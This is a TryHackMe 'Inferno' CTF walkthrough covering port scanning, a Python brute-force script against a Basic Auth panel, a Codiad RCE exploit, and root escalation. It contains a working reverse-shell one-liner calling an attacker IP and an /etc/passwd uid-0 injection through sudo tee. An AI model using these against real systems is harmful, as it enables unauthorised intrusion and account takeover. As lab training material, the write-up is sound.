Post

TryHackMe: Inferno

TryHackMe: Inferno

This box is rated medium difficulty on THM, it involves us brute forcing a login panel, exploiting a known vulnerability within the Codiad framework, and escalating privileges to root by writing to sensitive files.

Real Life machine + CTF. The machine is designed to be real-life (maybe not?) and is perfect for newbies starting out in penetration testing

Scanning & Enumeration

As always, I start off with an Nmap scan on the given IP to find running services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
$ sudo nmap -p- MACHINE_IP -oN fullscan-tcp
PORT      STATE SERVICE       REASON  VERSION
21/tcp    open  tcpwrapped    syn-ack
22/tcp    open  ssh           syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBR1uDh8+UHIoUl3J5AJApSgrmxFtvWtauxjTLxH9B5s9E0SThz3fljXo7uSL+2hjphfHyqrdAxoCGQJgRn/o5xGDSpoSoORBIxv1LVaZJlt/eIEhjDP48NP9l/wTRki9zZl5sNVyyyy/lobAj6BYH+dU3g++2su9Wcl0wmFChG5B2Kjrd9VSr6TC0XJpGfQxu+xJy29XtoTzKEiZCoLz3mZT7UqwsSgk38aZjEMKP9QDc0oa5v4JmKy4ikaR90CAcey9uIq8YQtSj+US7hteruG/HLo1AmOn9U3JAsVTd4vI1kp+Uu2vWLaWWjhfPqvbKEV/fravKSPd0EQJmg1eJ
|   256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKFhVdH50NAu45yKvSeeMqyvWl1aCZ1wyrHw2MzGY5DVosjZf/rUzrdDRS0u9QoIO4MpQAvEi7w7YG7zajosRN8=
|   256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAdzynTIlsSkYKaqfCAdSx5J2nfdoWFw1FcpKFIF8LRv
23/tcp    open  tcpwrapped    syn-ack
25/tcp    open  tcpwrapped    syn-ack
|_smtp-commands: Couldn't establish connection on port 25
80/tcp    open  http          syn-ack Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Dante's Inferno
88/tcp    open  tcpwrapped    syn-ack
106/tcp   open  pop3pw?       syn-ack
110/tcp   open  tcpwrapped    syn-ack
389/tcp   open  tcpwrapped    syn-ack
464/tcp   open  tcpwrapped    syn-ack
636/tcp   open  tcpwrapped    syn-ack
777/tcp   open  tcpwrapped    syn-ack
783/tcp   open  tcpwrapped    syn-ack
808/tcp   open  ccproxy-http? syn-ack
873/tcp   open  tcpwrapped    syn-ack
1001/tcp  open  webpush?      syn-ack
1236/tcp  open  tcpwrapped    syn-ack
1300/tcp  open  tcpwrapped    syn-ack
2000/tcp  open  tcpwrapped    syn-ack
2003/tcp  open  tcpwrapped    syn-ack
2121/tcp  open  tcpwrapped    syn-ack
2601/tcp  open  tcpwrapped    syn-ack
2602/tcp  open  tcpwrapped    syn-ack
2604/tcp  open  tcpwrapped    syn-ack
2605/tcp  open  tcpwrapped    syn-ack
2607/tcp  open  tcpwrapped    syn-ack
2608/tcp  open  tcpwrapped    syn-ack
4224/tcp  open  tcpwrapped    syn-ack
5051/tcp  open  tcpwrapped    syn-ack
5432/tcp  open  tcpwrapped    syn-ack
5555/tcp  open  tcpwrapped    syn-ack
5666/tcp  open  tcpwrapped    syn-ack
6346/tcp  open  tcpwrapped    syn-ack
6566/tcp  open  tcpwrapped    syn-ack
6667/tcp  open  tcpwrapped    syn-ack
|_irc-info: Unable to open connection
8021/tcp  open  tcpwrapped    syn-ack
8081/tcp  open  tcpwrapped    syn-ack
|_mcafee-epo-agent: ePO Agent not found
8088/tcp  open  radan-http?   syn-ack
9418/tcp  open  tcpwrapped    syn-ack
10000/tcp open  tcpwrapped    syn-ack
10082/tcp open  tcpwrapped    syn-ack
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We get a whole lot of stuff back from that. Seeing as 90 ports are open, i’ll start with the more normal and easier things to enumerate such as FTP, Telnet, and HTTP.

Checking the landing page on port 80 shows a quote from Dante’s Inferno and a picture portraying the nine circles of hell. Not much info other than that so I start fuzzing for directories and subdomains.

I discover a login panel at /inferno and capturing the request in Burp Suite shows that our credentials are base64 encoded and sent as an Authorization header.

Brute Forcing

I’ll throw a quick script together to brute force this panel. I use the usernames Dante, root, Admin, Lucifer, and Inferno alongside rockyou.txt. 

Here’s the final product:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import base64
import requests
import sys
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed

TARGET_URL = "http://10.66.170.239/inferno"

USERLIST = "users.txt"
PASSLIST = "/opt/SecLists/rockyou.txt"

THREADS = 20

BASE_HEADERS = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64)",
    "Accept": "*/*",
    "Connection": "keep-alive"
}

found = threading.Event()

def encode_creds(username, password):
    creds = f"{username}:{password}"
    return base64.b64encode(creds.encode()).decode()

def attempt_login(session, user, password):
    if found.is_set():
        return

    auth_value = encode_creds(user, password)
    headers = BASE_HEADERS.copy()
    headers["Authorization"] = f"Basic {auth_value}"

    try:
        r = session.get(TARGET_URL, headers=headers, timeout=5, allow_redirects=False)

        if r.status_code == 200:
            print(f"\n[+] SUCCESS: {user}:{password}")
            found.set()
            sys.exit(0)

    except requests.RequestException:
        pass

def main():
    with open(USERLIST) as ufile:
        users = [u.strip() for u in ufile]

    session = requests.Session()

    with ThreadPoolExecutor(max_workers=THREADS) as executor:
        futures = []

        for user in users:
            with open(PASSLIST, encoding="latin-1") as pfile:
                for password in pfile:
                    if found.is_set():
                        break

                    password = password.strip()
                    futures.append(
                        executor.submit(attempt_login, session, user, password)
                    )

        for _ in as_completed(futures):
            if found.is_set():
                break

    print("[-] No valid credentials found.")

if __name__ == "__main__":
    main()

You can totally do this with Hydra too but I felt like making my own script. Either way, letting that run for a bit returns a successful login as Admin and we gain access to Codiad (a web-based IDE framework).

I check Searchsploit for any quick wins and find that there are four PoCs for Authenticated RCE.

I use this one created by WangYihang. Supplying all parameters resolves our request to a 401 unauthorized error, this is because we had to sign in at the pop up as well as the Codiad login panel.

Since we captured that request from earlier, I know it’s just basic auth and we can provide the creds by prepending admin:password@ to our URL.

This exploit also requires us to setup two listeners using:

1
echo 'bash -c "bash -i >/dev/tcp/192.168.144.73/9002 0>&1 2>&1"' | nc -lnvp 9001

&

1
nc -lnvp 9002

Note: The port and IP will be the one you provided, so change accordingly.

Privilege Escalation

Now that we have a shell as www-data, I look around the system for anyone creds laying around and in /home for any user’s personal info. It seems like the system executes a cronjob or something like it to run an exit command every minute or so. Better find something quick!

I discover a file under /home/dante/Downloads containing lines of hexadecimal values. Decoding this gives us some Italian literature and Dante’s SSH credentials.

With a stable shell we can grab the first flag under Dante’s home directory and begin looking for ways to escalate privileges to root.

I see that we have access to run the tee binary as root user without a password. GTFOBins has a method for us to write to a file without having privileges over it.

You can grab a root shell many ways, for example echoing an SSH key into /root/.ssh/authorized_keys or adding a line to the /etc/sudoers file, however I’ll be adding another user with root’s uid to /etc/passwd so we can switch to their account with ease.

First we can create a hash for the user with:

1
openssl passwd -1 -salt USERNAME PASSWORD

Then, we add it to /etc/passwd using:

1
echo "USERNAME:HASH:0:0:root:/root:/bin/bash" | sudo tee -a /etc/passwd

Note: You will have to character escape the $ signs with a backslash because we are using echo here.

All that’s left is to grab the final flag under root’s home directory and finish the box. I hope this was helpful to anyone stuck or following along and happy hacking!

This post is licensed under CC BY 4.0 by the author.